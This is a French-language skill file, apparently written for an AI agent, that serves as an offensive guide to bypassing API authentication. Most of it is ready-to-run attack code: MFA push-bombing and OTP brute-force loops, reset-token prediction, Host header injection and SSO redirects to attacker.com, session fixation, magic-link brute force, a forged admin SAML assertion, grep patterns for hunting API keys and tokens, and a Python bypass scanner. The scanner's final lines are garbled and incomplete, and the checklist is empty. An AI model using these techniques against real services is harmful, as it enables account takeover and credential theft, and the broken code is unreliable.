| name | api-authentication-bypass |
| description | Techniques avancées de contournement d'authentification API — MFA bypass, OTP bruteforce, session hijacking, password reset abuse, magic link interception, SSO misconfiguration, et token theft |
| category | cybersecurite |
API Authentication Bypass — Guide Avancé
Introduction
L'authentification API est le premier rempart. Au-delà du JWT, les attaques modernes ciblent le MFA, les OTP, les tokens de reset, les magic links, et les flux SSO/OAuth. Ce skill couvre les techniques au-delà des attaques JWT de base.
1. MFA (Multi-Factor Authentication) Bypass
1.1 MFA Fatigue (Push Bombing)
for i in $(seq 1 100); do
curl -X POST https://api.target.com/api/v1/auth/mfa/request \
-H "Authorization: Bearer <token>" \
-d '{"method": "push"}'
done
1.2 MFA Bruteforce (OTP à 6 chiffres)
for code in $(seq 0 9999); do
code=$(printf "%04d" $code)
curl -X POST https://api.target.com/api/v1/auth/mfa/verify \
-H "Authorization: Bearer <partial_token>" \
-d '{"code":"'$code'","trust_device":false}'
done
seq 0 9999 | xargs -P 50 -I {} curl -s -X POST \
https://api.target.com/api/v1/auth/mfa/verify \
-H "Authorization: Bearer <partial_token>" \
-d '{"code":"'$(printf "%04d" {})'"}'
1.3 MFA Step Bypass
curl -X GET https://api.target.com/api/v1/profile \
-H "Authorization: Bearer <token_avant_MFA>"
POST /api/v1/auth/login
{"user":"admin","pass":"correct","mfa_required":false}
POST /api/v1/auth/login
{"user":"admin","pass":"correct","mfa_code":"000000"}
1.4 MFA via OAuth Token Reuse
curl -X GET https://api.target.com/api/v1/admin \
-H "Authorization: Bearer <oauth_token_avant_mfa>"
2. OTP (One-Time Password) Attacks
2.1 OTP Prediction
for i in $(seq 1 20); do
curl -X POST https://api.target.com/api/v1/auth/request-otp \
-d '{"phone":"+33612345678"}'
sleep 30
done
2.2 OTP Length Extension
POST /api/v1/auth/verify-otp
{"phone":"+33612345678","code":"0000"} → 401
{"phone":"+33612345678","code":"000000"} → 401
{"phone":"+33612345678","code":"0000000"} → 200 (si accepte plus long)
2.3 OTP Channel Interception
POST /api/v1/auth/request-otp
→ Réponse: {"otp":"4821","expires_in":300}
POST /api/v1/auth/request-otp
→ X-OTP-Code: 4821
3. Password Reset Abuse
3.1 Token Prediction
TOKEN=$(curl -s -D - https://api.target.com/api/v1/auth/reset-password \
-X POST -d '{"email":"admin@target.com"}' \
| grep -i location | grep -o 'token=[^&]*')
echo $TOKEN | base64 -d 2>/dev/null
for ts in $(seq $(date +%s -d '-1 hour') $(date +%s)); do
echo -n "$ts" | md5sum | awk '{print $1}'
done > tokens.txt
3.2 Host Header Injection
POST /api/v1/auth/reset-password
Host: target.com
{"email":"admin@target.com"}
POST /api/v1/auth/reset-password
Host: attacker.com
{"email":"admin@target.com"}
3.3 Token Reuse / No Expiry
curl -X POST https://api.target.com/api/v1/auth/reset/confirm \
-d '{"token":"<old_token>","new_password":"hacked123"}'
4. Session Management Attacks
4.1 Session Fixation
GET /api/v1/auth/login?session_id=attacker_session_123
curl -X GET https://api.target.com/api/v1/profile \
-H "Cookie: session_id=attacker_session_123"
4.2 Session ID in URL
GET /api/v1/transfer?session=abc123
GET /api/v1/admin?debug=true&session=admin123
4.3 No Session Expiry
curl -X GET https://api.target.com/api/v1/profile \
-H "Authorization: Bearer <old_token>"
5. Magic Link Abuse
POST /api/v1/auth/magic-link
{"email":"admin@target.com"}
→ Réponse: {"magic_link":"https://target.com/auth/confirm?code=abc123"}
for code in $(seq 0 65535); do
hex=$(printf "%04x" $code)
curl -s https://target.com/auth/confirm?code=$hex
done
6. SSO / OAuth Authentication Bypass
6.1 Open Redirect via SSO
GET /api/v1/auth/sso/login?redirect_uri=https://attacker.com/steal
POST /api/v1/auth/sso/callback
{"code":"<auth_code>","state":"<state>","redirect_uri":"https://attacker.com"}
6.2 SAML Assertion Injection
<saml:Assertion>
<saml:Subject>
<saml:NameID>admin@target.com</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
7. API Key Hardcoded
grep -r "api_key\|api-key\|apikey\|secret\|token" --include="*.js" --include="*.json"
grep -r "sk-[a-zA-Z0-9]\{32,\}" --include="*.env" --include="*.py"
grep -r "ghp_[a-zA-Z0-9]\{36\}" --include="*.js" --include="*.txt"
8. Account Enumeration
POST /api/v1/auth/login
{"user":"exists@target.com","pass":"wrong"} → "Mot de passe incorrect"
{"user":"notexists@target.com","pass":"wrong"} → "Utilisateur non trouvé"
time curl -X POST https://api.target.com/api/v1/auth/login \
-d '{"user":"exists@target.com","pass":"wrong"}'
POST /api/v1/auth/reset-password
{"email":"exists@target.com"} → "Email envoyé"
{"email":"fake@target.com"} → "Email non trouvé"
Script Automatisé
"""API Authentication Bypass Scanner."""
import requests
import string
import itertools
BASE = "https://api.target.com"
def test_mfa_bypass(token):
"""Teste les bypass MFA courants."""
endpoints = ["/api/v1/profile", "/api/v1/dashboard", "/api/v1/admin"]
for ep in endpoints:
for header, value in [
("X-MFA-Status", "bypass"),
("X-Force-Auth", "true"),
("X-Skip-MFA", "1"),
]:
r = requests.get(BASE + ep, headers={
"Authorization": f"Bearer {token}",
header: value
})
if r.status_code == 200:
print(f"[MFA BYPASS] {ep} via {header}: {value}")
def test_otp_bruteforce(phone, digits=4):
"""Bruteforce OTP court."""
for code in range(10**digits):
code_str = str(code).zfill(digits)
r = requests.post(BASE + "/api/v1/auth/verify-otp", json={
"phone": phone, "code": code_str
})
r.status_code == :
()
code_str
code % == :
()
Checklist
Ressources